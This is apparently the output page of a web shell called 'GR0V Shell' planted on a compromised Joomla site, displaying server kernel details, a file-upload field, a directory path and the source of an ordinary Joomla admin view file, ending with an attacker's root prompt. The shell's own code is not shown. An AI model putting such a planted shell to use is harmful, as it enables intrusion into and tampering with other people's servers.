? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_xijc/views/whitelist/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_xijc/views/whitelist/view.html.php

<?php

// no direct access
defined('_JEXEC') or die('Restricted access');

// Import Joomla! libraries
jimport( 'joomla.application.component.view');

class XiJCViewWhitelist extends JView
{
	function display($tpl = null)
	{
		$wlModel	= XiJCFactory::getModel( 'whitelist' );

		$whitelist		=& $wlModel->getWhitelist();
		$pagination		=& $wlModel->getPagination();

		$comname = array();
		$comeditable = array();
		//get component name from option
		if(!empty($whitelist)){
			foreach($whitelist as $w) {

				if(array_key_exists($w->option,$comname))
				continue;

				$filter['option'] = $w->option;

				$obj = XiJCFactory::getComponents($filter);
				if(empty($obj)) {
					$comname[$w->option] = JText::_('THIS COMPONENT HAS BEEN UNINSTALLED');
					$comeditable[$w->option] = 0;
					continue;
				}
				$comname[$w->option] = $obj[0]->name;
				$comeditable[$w->option] = 1;
			}
		}
		// Load tooltips
		JHTML::_('behavior.tooltip', '.hasTip');
		jimport('joomla.html.pane');
		$pane	=& JPane::getInstance('sliders');

		$this->setToolbar();

		$this->assignRef( 'pane'		, $pane );
		$this->assign( 'whitelist' 		, $whitelist );
		$this->assign( 'comname' 		, $comname );
		$this->assign( 'comeditable' 	, $comeditable );
		$this->assignRef( 'pagination'	, $pagination );
		parent::display( $tpl );
	}

	function edit($id,$tpl = null)
	{
		JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR.DS.'tables');
		$row	=& JTable::getInstance( 'whitelist' , 'XiJCTable' );
		$row->load($id);

		$config = new JParameter($row->params);
		$paramarray = $config->toArray();

		$filter = array();
		$filter['parent'] = 0;
		$allcomponents = XiJCFactory::getComponents($filter);

		$this->assign( 'id' , $id );
		$this->assign( 'row' , $row );
		$this->assign( 'components' , $allcomponents );
		$this->assign( 'paramarray' , $paramarray );

		// Set the titlebar text

		JToolBarHelper::title( JText::_( 'EDIT WHITELIST' ), 'whitelist' );

		// Add the necessary buttons
		JToolBarHelper::back('Home' , 'index.php?option=com_xijc&view=whitelist');
		JToolBarHelper::divider();
		JToolBarHelper::save('save','SAVE');
		JToolBarHelper::cancel( 'cancel','CLOSE' );
		parent::display($tpl);
	}

	function setToolBar()
	{
		// Set the titlebar text
		JToolBarHelper::title( JText::_( 'WHITELIST' ), 'whitelist' );

		// Add the necessary buttons
		JToolBarHelper::back('Home' , 'index.php?option=com_xijc');
		JToolBarHelper::divider();
		JToolBarHelper::trash('remove',  'DELETE' );
		JToolBarHelper::addNew('edit',  'ADD' );
		JToolBarHelper::divider();
		JToolBarHelper::publishList('publish', 'ENABLE' );
		JToolBarHelper::unpublishList('unpublish', 'DISABLE' );
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$